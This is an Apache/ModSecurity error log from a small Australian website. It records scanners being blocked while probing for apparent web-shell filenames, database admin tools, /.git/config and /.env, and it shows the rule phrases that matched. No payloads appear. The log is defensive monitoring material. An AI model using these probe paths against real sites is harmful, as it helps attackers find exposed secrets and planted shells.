[Sat Feb 28 14:55:16.025676 2026] [:error] [pid 39185:tid 39246] [client 13.71.191.191:64945] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/mfw-activity-logger/csv-uploads/TitaniumEx.php"] [unique_id "aaKRVBVE-FfM89u7BQY0MwAAAIA"]
[Sat Feb 28 14:55:16.504267 2026] [:error] [pid 52460:tid 52464] [client 13.71.191.191:12266] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaKRVLLWOogAgHGh62R9MAAAAYE"]
[Sat Feb 28 14:55:16.943931 2026] [:error] [pid 11791:tid 11805] [client 13.71.191.191:12286] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaKRVGuX5e1Q32gqxH1SpwAAAQw"]
[Sat Feb 28 14:55:17.503571 2026] [:error] [pid 39185:tid 39270] [client 13.71.191.191:12256] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaKRVRVE-FfM89u7BQY0OgAAAJg"]
[Sat Feb 28 14:55:17.927941 2026] [:error] [pid 11791:tid 11817] [client 13.71.191.191:12279] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aaKRVWuX5e1Q32gqxH1SsAAAARg"]
[Sat Feb 28 14:55:18.593949 2026] [:error] [pid 22194:tid 22206] [client 13.71.191.191:12287] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaKRVn6mbajs3bzQGytfKQAAAUo"]
[Sat Feb 28 14:55:19.085145 2026] [:error] [pid 11791:tid 11811] [client 13.71.191.191:12122] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaKRV2uX5e1Q32gqxH1SwQAAARI"]
[Sat Feb 28 14:55:19.543333 2026] [:error] [pid 39185:tid 39253] [client 13.71.191.191:12257] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaKRVxVE-FfM89u7BQY0RQAAAIc"]
[Sat Feb 28 14:55:19.989876 2026] [:error] [pid 39185:tid 39259] [client 13.71.191.191:12234] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaKRVxVE-FfM89u7BQY0SwAAAI0"]
[Sat Feb 28 14:55:20.492914 2026] [:error] [pid 39185:tid 39249] [client 13.71.191.191:12175] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaKRWBVE-FfM89u7BQY0TwAAAIM"]
[Sat Feb 28 14:55:21.059036 2026] [:error] [pid 11791:tid 11796] [client 13.71.191.191:11563] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaKRWWuX5e1Q32gqxH1SzgAAAQM"]
[Sat Feb 28 14:55:21.483896 2026] [:error] [pid 39185:tid 39261] [client 13.71.191.191:12267] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaKRWRVE-FfM89u7BQY0UwAAAI8"]
[Sat Feb 28 14:55:21.988711 2026] [:error] [pid 39185:tid 39255] [client 13.71.191.191:12235] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaKRWRVE-FfM89u7BQY0WQAAAIk"]
[Sat Feb 28 14:55:22.426777 2026] [:error] [pid 39185:tid 39256] [client 13.71.191.191:64906] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aaKRWhVE-FfM89u7BQY0XwAAAIo"]
[Sat Feb 28 14:55:22.912173 2026] [:error] [pid 39185:tid 39252] [client 13.71.191.191:12238] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aaKRWhVE-FfM89u7BQY0aAAAAIY"]
[Sat Feb 28 14:55:23.357387 2026] [:error] [pid 22194:tid 22196] [client 13.71.191.191:12237] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aaKRW36mbajs3bzQGytfKwAAAUA"]
[Sat Feb 28 14:55:23.825763 2026] [:error] [pid 39185:tid 39262] [client 13.71.191.191:12245] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/content.php"] [unique_id "aaKRWxVE-FfM89u7BQY0bwAAAJA"]
[Sat Feb 28 14:55:24.259149 2026] [:error] [pid 39185:tid 39260] [client 13.71.191.191:64922] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaKRXBVE-FfM89u7BQY0cgAAAI4"]
[Sat Feb 28 14:55:24.709731 2026] [:error] [pid 39185:tid 39261] [client 13.71.191.191:12228] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaKRXBVE-FfM89u7BQY0dgAAAI8"]
[Sat Feb 28 14:55:25.170285 2026] [:error] [pid 22194:tid 22213] [client 13.71.191.191:12226] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaKRXX6mbajs3bzQGytfLAAAAVE"]
[Sat Feb 28 14:55:25.762044 2026] [:error] [pid 22194:tid 22212] [client 13.71.191.191:12275] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaKRXX6mbajs3bzQGytfLwAAAVA"]
[Sat Feb 28 14:55:26.230357 2026] [:error] [pid 39185:tid 39256] [client 13.71.191.191:64913] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms.php"] [unique_id "aaKRXhVE-FfM89u7BQY0gAAAAIo"]
[Sat Feb 28 14:55:26.823506 2026] [:error] [pid 39183:tid 39199] [client 13.71.191.191:12276] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms.php"] [unique_id "aaKRXhCf4HvhVePw3Lb7jgAAAAc"]
[Sat Feb 28 14:55:27.363893 2026] [:error] [pid 22194:tid 22204] [client 13.71.191.191:12181] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms.php"] [unique_id "aaKRX36mbajs3bzQGytfMgAAAUg"]
[Sat Feb 28 14:55:27.880202 2026] [:error] [pid 39292:tid 39301] [client 13.71.191.191:12200] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms.php"] [unique_id "aaKRX6IAO5fN7BxyqcH2JgAAAMc"]
[Sat Feb 28 14:55:28.409729 2026] [:error] [pid 39185:tid 39250] [client 13.71.191.191:64926] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aaKRYBVE-FfM89u7BQY0mwAAAIQ"]
[Sat Feb 28 14:55:28.871967 2026] [:error] [pid 39185:tid 39261] [client 13.71.191.191:12223] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aaKRYBVE-FfM89u7BQY0oQAAAI8"]
[Sat Feb 28 14:55:29.333605 2026] [:error] [pid 39184:tid 39224] [client 13.71.191.191:64955] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aaKRYVtZF9Zd_U7easDyvwAAAEU"]
[Sat Feb 28 14:55:29.797348 2026] [:error] [pid 11791:tid 11814] [client 13.71.191.191:12166] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aaKRYWuX5e1Q32gqxH1S1QAAARU"]
[Sat Feb 28 14:55:30.408613 2026] [:error] [pid 22194:tid 22209] [client 13.71.191.191:12283] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duck.php"] [unique_id "aaKRYn6mbajs3bzQGytfNAAAAU0"]
[Sat Feb 28 14:55:30.874573 2026] [:error] [pid 39185:tid 39259] [client 13.71.191.191:11549] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duck.php"] [unique_id "aaKRYhVE-FfM89u7BQY0qwAAAI0"]
[Sat Feb 28 14:55:31.367559 2026] [:error] [pid 52460:tid 52487] [client 13.71.191.191:12263] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duck.php"] [unique_id "aaKRY7LWOogAgHGh62R9OwAAAZg"]
[Sat Feb 28 14:55:31.938121 2026] [:error] [pid 22194:tid 22213] [client 13.71.191.191:12153] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duck.php"] [unique_id "aaKRY36mbajs3bzQGytfOgAAAVE"]
[Sat Feb 28 14:55:32.631731 2026] [:error] [pid 52460:tid 52465] [client 13.71.191.191:64939] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aaKRZLLWOogAgHGh62R9QwAAAYI"]
[Sat Feb 28 14:55:33.074717 2026] [:error] [pid 39185:tid 39262] [client 13.71.191.191:64952] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aaKRZRVE-FfM89u7BQY0twAAAJA"]
[Sat Feb 28 14:55:33.540865 2026] [:error] [pid 39185:tid 39268] [client 13.71.191.191:12171] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aaKRZRVE-FfM89u7BQY0ugAAAJY"]
[Sat Feb 28 14:55:33.955367 2026] [:error] [pid 39185:tid 39265] [client 13.71.191.191:12277] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php"] [unique_id "aaKRZRVE-FfM89u7BQY0vgAAAJM"]
[Sat Feb 28 14:55:34.420270 2026] [:error] [pid 52460:tid 52484] [client 13.71.191.191:64972] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dqbayyrz.php"] [unique_id "aaKRZrLWOogAgHGh62R9SwAAAZU"]
[Sat Feb 28 14:55:34.852478 2026] [:error] [pid 52460:tid 52471] [client 13.71.191.191:64929] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dqbayyrz.php"] [unique_id "aaKRZrLWOogAgHGh62R9TAAAAYg"]
[Sat Feb 28 14:55:35.264221 2026] [:error] [pid 52460:tid 52466] [client 13.71.191.191:12195] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dqbayyrz.php"] [unique_id "aaKRZ7LWOogAgHGh62R9TgAAAYM"]
[Sat Feb 28 14:55:35.705351 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:12179] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dqbayyrz.php"] [unique_id "aaKRZxVE-FfM89u7BQY0zQAAAJI"]
[Sat Feb 28 15:29:14.892193 2026] [autoindex:error] [pid 52460:tid 52472] [client 37.60.228.196:56563] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 15:29:56.216690 2026] [:error] [pid 52460:tid 52469] [client 104.194.155.80:59344] [client 104.194.155.80] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aaKZdLLWOogAgHGh62Sa3QAAAYY"]
[Sat Feb 28 16:14:04.206375 2026] [:error] [pid 39184:tid 39220] [client 204.76.203.25:52836] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aaKjzFtZF9Zd_U7easAZDQAAAEE"]
[Sat Feb 28 16:19:25.237210 2026] [proxy_fcgi:error] [pid 39292:tid 39297] [client 20.220.232.101:25331] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:19:25.447102 2026] [proxy_fcgi:error] [pid 39292:tid 39308] [client 20.220.232.101:25331] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:19:25.911175 2026] [proxy_fcgi:error] [pid 39292:tid 39314] [client 20.220.232.101:25331] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:19:26.120966 2026] [proxy_fcgi:error] [pid 39292:tid 39315] [client 20.220.232.101:25331] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:19:26.332493 2026] [proxy_fcgi:error] [pid 39292:tid 39313] [client 20.220.232.101:25331] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:19:26.542949 2026] [proxy_fcgi:error] [pid 39292:tid 39317] [client 20.220.232.101:25331] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:19:26.774987 2026] [proxy_fcgi:error] [pid 39292:tid 39310] [client 20.220.232.101:25331] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:19:27.207952 2026] [proxy_fcgi:error] [pid 39292:tid 39294] [client 20.220.232.101:25331] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 16:19:27.453265 2026] [:error] [pid 39292:tid 39309] [client 20.220.232.101:25331] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aaKlD6IAO5fN7BxyqcETIgAAAM8"]
[Sat Feb 28 16:19:31.641856 2026] [:error] [pid 39183:tid 39195] [client 20.220.232.101:64387] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aaKlExCf4HvhVePw3LYaMAAAAAM"]
[Sat Feb 28 16:19:35.469737 2026] [:error] [pid 39184:tid 39228] [client 20.220.232.101:25301] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aaKlF1tZF9Zd_U7easAa0wAAAEk"]
[Sat Feb 28 16:19:38.896018 2026] [:error] [pid 39184:tid 39237] [client 20.220.232.101:25293] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aaKlGltZF9Zd_U7easAa7AAAAFI"]
[Sat Feb 28 16:19:41.461118 2026] [:error] [pid 39184:tid 39222] [client 20.220.232.101:25323] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aaKlHVtZF9Zd_U7easAa9gAAAEM"]
[Sat Feb 28 16:19:42.772971 2026] [:error] [pid 22194:tid 22197] [client 20.220.232.101:25246] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aaKlHn6mbajs3bzQGytvHAAAAUE"]
[Sat Feb 28 16:19:44.082843 2026] [:error] [pid 39185:tid 39254] [client 20.220.232.101:24756] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aaKlIBVE-FfM89u7BQZjiQAAAIg"]
[Sat Feb 28 16:19:45.756188 2026] [:error] [pid 39184:tid 39230] [client 20.220.232.101:24733] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aaKlIVtZF9Zd_U7easAa_AAAAEs"]
[Sat Feb 28 16:19:46.607363 2026] [:error] [pid 39292:tid 39296] [client 20.220.232.101:24749] [client 20.220.232.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aaKlIqIAO5fN7BxyqcETKwAAAMI"]
